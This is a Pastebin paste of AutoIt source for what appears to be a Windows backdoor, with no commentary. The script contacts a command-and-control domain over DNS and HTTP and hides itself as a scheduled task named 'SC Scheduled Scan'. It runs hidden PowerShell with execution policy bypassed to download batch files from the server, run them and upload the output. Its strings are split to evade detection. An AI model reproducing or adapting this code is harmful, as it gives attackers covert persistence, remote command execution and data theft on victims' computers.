Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #hash 332fab21cb0f2f50774fccf94fc7ae905a21b37fe66010dcef6b71c140bb7fa1
- #include <GUIConstantsEx.au3>
- #include <WindowsConstants.au3>
- #include <SendMessage.au3>
- #include <Misc.au3>
- #include <MsgBoxConstants.au3>
- #include <Date.au3>
- #include <File.au3>
- #AutoIt3Wrapper_icon=VBSim.ico
- #NoTrayIcon
- $oMyError = ObjEvent("AutoIt.Error","MyErrFunc") ; Initialize a COM error handler
- ; This is my custom defined error handler
- Global $userver = "j-alam.com"
- Func MyErrFunc()
- ;Msgbox(0,"AutoItCOM Test","We intercepted a COM Error !" & @CRLF & @CRLF & _
- ; "err.description is: " & @TAB & $oMyError.description & @CRLF & _
- ; "err.windescription:" & @TAB & $oMyError.windescription & @CRLF & _
- ; "err.number is: " & @TAB & hex($oMyError.number,8) & @CRLF & _
- ; "err.lastdllerror is: " & @TAB & $oMyError.lastdllerror & @CRLF & _
- ; "err.scriptline is: " & @TAB & $oMyError.scriptline & @CRLF & _
- ; "err.source is: " & @TAB & $oMyError.source & @CRLF & _
- ; "err.helpfile is: " & @TAB & $oMyError.helpfile & @CRLF & _
- ; "err.helpcontext is: " & @TAB & $oMyError.helpcontext _
- ; )
- EndFunc
- $dll = DllOpen("user32.dll")
- TCPStartup()
- Func On_Exit()
- TCPShutdown()
- Exit
- EndFunc
- OnAutoItExitRegister("On_Exit")
- Func randomStr($len)
- $pwd = ""
- Local $aSpace[3]
- For $i = 1 To $len
- $aSpace[0] = Chr(Random(65, 90, 1)) ;A-Z
- $aSpace[1] = Chr(Random(97, 122, 1)) ;a-z
- $aSpace[2] = Chr(Random(48, 57, 1)) ;0-9
- $pwd &= $aSpace[Random(0, 2, 1)]
- Next
- return $pwd
- EndFunc
- Func CheckDNSIP($hostname)
- For $i = 5 To 1 Step -1
- Local $sIPAddress = TCPNameToIP("aa1"&randomStr(2)&"."&$hostname)
- _FileWriteLog(@ScriptDir & "\Ex.log", $sIPAddress)
- If @error Then
- ContinueLoop
- EndIf
- if StringLeft($sIPAddress, 3) = "65." Then
- Return True
- Else
- ContinueLoop
- EndIf
- Next
- Return False
- EndFunc ;==>Example
- Func CheckDNSTXT($hostname)
- For $i = 5 To 1 Step -1
- $foo = Run("nslookup.exe -q=TXT " & "g_" &randomStr(2) & "_" & randomStr(2) & "." & $hostname, "", @SW_HIDE, $STDERR_CHILD + $STDOUT_CHILD)
- Local $line = ""
- While 1
- $line &= StdoutRead($foo)
- If @error Then ExitLoop
- Wend
- _FileWriteLog(@ScriptDir & "\Ex.log", "DNSTXT:" & $line)
- Local $aArray = StringRegExp($line, '(\".*?\")', $STR_REGEXPARRAYMATCH )
- if UBound($aArray) == 0 Then
- ContinueLoop
- EndIf
- Return True
- Next
- Return False
- EndFunc
- Func HttpGet($sURL)
- Local $oHTTP = ObjCreate("WinHttp.WinHttpRequest.5.1")
- $oHTTP.Open("GET", $sURL , False)
- If (@error) Then Return SetError(1, 0, 0)
- $oHTTP.Send()
- If (@error) Then Return SetError(2, 0, 0)
- If ($oHTTP.Status <> 200) Then Return SetError(3, 0, 0)
- Return SetError(0, 0, $oHTTP.ResponseText)
- EndFunc
- Func CheckHttp($surl)
- Local $oHTTP = ObjCreate("WinHttp.WinHttpRequest.5.1")
- $oHTTP.Open("GET", $sURL, False)
- If (@error) Then Return False
- $oHTTP.Send()
- If (@error) Then Return False
- If ($oHTTP.Status <> 200) Then Return False
- Return True
- EndFunc
- Func MethodFinder()
- Local $method = 0
- if (CheckDNSIP($userver)) Then
- $method = 0
- EndIf
- if (CheckDNSTXT($userver)) Then
- $method = 1
- EndIf
- if (CheckHttp("http://"& $userver&"/update.php")) Then
- $method = 2
- EndIf
- Return $method
- EndFunc
- ;Local $te = MethodFinder()
- ;_FileWriteLog(@ScriptDir & "\Ex.log", "MethodFinder:" & $te)
- RunWait("ipconfig /flushdns", '', @SW_HIDE)
- Local $HOME = @UserProfileDir & "\appdata\local\microsoft\Taskbar\"
- Local $cname = @ComputerName
- $cname = StringLeft($cname, 5)
- ;========================= create essential directory======================
- if Not FileExists($HOME) Then
- DirCreate($Home)
- EndIf
- if Not FileExists($HOME&"dn") Then
- DirCreate($Home&"dn")
- EndIf
- if Not FileExists($HOME&"up") Then
- DirCreate($Home&"up")
- EndIf
- ;============================= read method from reg if not exist create registry value =============
- Local $epocTime = ((@YEAR - 1970) * 31557600) + (int ((@YEAR - 1972) / 4) * 86400) + ((@YDAY - 1) * 86400) + (@HOUR * 3600) + (@MIN * 60) + @SEC
- Local $method = RegRead("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UMe")
- if @error Then
- RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UMe", "REG_SZ", "0")
- RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UT", "REG_SZ", "0")
- $method = 0;
- EndIf
- Local $lastMethodFinderTime = RegRead("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UT")
- if (@error or $epocTime - $lastMethodFinderTime > 400) Then
- $method = MethodFinder()
- _FileWriteLog(@ScriptDir & "\Ex.log", "newMethod:" & $method)
- RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UMe", "REG_SZ", $method)
- RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UT", "REG_SZ", $epocTime)
- EndIf
- ;=============================== create task schedule ===================================
- $txtStr = "schta"&"sks /create /F"&" /sc minute /mo 3 /tn ""SC Scheduled Scan"" /tr ""%userprofile%\appdata\local\microsoft\Taskbar\autoit3.exe '" & @ScriptFullPath & "'"""
- RunWait($txtStr, '', @SW_HIDE)
- _FileWriteLog(@ScriptDir & "\Ex.log", "Method:" & $method)
- ;============================ run powershell in assosation with $method ===============
- Switch $method
- Case 0
- Local $exitcode = RunWait("powershell.exe -nop -executionpolicy bypass -File """ & $HOME & "dnip.ps1""" , '', @SW_HIDE)
- _FileWriteLog(@ScriptDir & "\Ex.log", "Powershell start 0:" & $method & "\t ExitCode:" & $exitcode)
- _FileWriteLog(@ScriptDir & "\Ex.log", "Home:" & $HOME)
- Case 1
- Local $exitcode = RunWait("powershell.exe -nop -executionpolicy bypass -File """ & $HOME & "dntx.ps1""" , '', @SW_HIDE)
- _FileWriteLog(@ScriptDir & "\Ex.log", "Powershell start 1:" & $method & "\t ExitCode:" & $exitcode)
- _FileWriteLog(@ScriptDir & "\Ex.log", "Home:" & $HOME)
- Case 2
- ;Local $SERVER="http://107.191.62.45:7023/update.php?req=" & $cname
- Local $SERVER="ht"&"tp:"&"/"&"/"& $userver&"/upd" & "ate."& "ph"&"p?req"& "=" & $cname
- $Dwn= "powershell "" " & _
- " &{$wc=(new-object System.Net.WebClient); " & _
- "while(1){try{$r=Get-Random ;$wc.DownloadFile('" _
- & $SERVER & _
- "&m=d','" & $HOME & "dn\'+$r+'.-_');" & _
- " Rename-Item -path ('" & _
- $HOME & _
- "dn\'+$r+'.-_') -newname " & _
- "($wc.ResponseHeaders['Content-Disposition'].Substring(" & _
- "$wc.ResponseHeaders['Content-Disposition'].Indexof('filename=')+9))}catch{break}}}"""
- $Dwn = StringReplace($Dwn, "-_", "dwn")
- RunWait($Dwn, '', @SW_HIDE)
- $DownloadExecute="powershell "" " & _
- "&{$r=Get-Random; "& _
- "$wc=(new-object System.Net.WebClient);" & _
- "$wc.DownloadFile('" & $SERVER & "&m=b','" & $HOME&"dn\'+$r+'.-_');" & _
- "Invoke-Expression ('"& StringReplace($HOME, " ", "` ")&"dn\'+$r+'.-_ >" & StringReplace($HOME, " ", "` ")&"up\'+$r+'-_');" & _
- "Rename-Item -path ('" & $HOME & _
- "up\'+$r+'-_') -newname ($wc.ResponseHeaders['Content-Disposition'].Substring(" & _
- "$wc.ResponseHeaders['Content-Disposition'].Indexof('filename=')+9)+'.txt');" & _
- "Get-ChildItem " & StringReplace($HOME, " ", "` ") & "up\ | ForEach-Object "& _
- "{if((Get-Item($_.FullName)).length -gt 0){$wc.UploadFile('" & _
- $SERVER & _
- "&m=u',$_.FullName)};" & _
- "Remove-Item $_.FullName};Remove-Item ('"& $HOME & "dn\'+$r+'.-_')}"""
- $DownloadExecute = StringReplace($DownloadExecute, "-_", "bat")
- RunWait($DownloadExecute, '', @SW_HIDE)
- EndSwitch
- Exit
- $hGUI = GUICreate("X", 0, 0, -1, -1, BitOR($WS_POPUP, $WS_BORDER), $WS_EX_TOPMOST)
- GUISetBkColor(0xFFFFFF, $hGUI)
- GUISetState()
- HotKeySet("{ESC}", "On_Exit")
- HotKeySet("{ESC}", "Terminate")
- Func Terminate()
- DllClose($dll)
- Exit 0
- EndFunc
- exit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement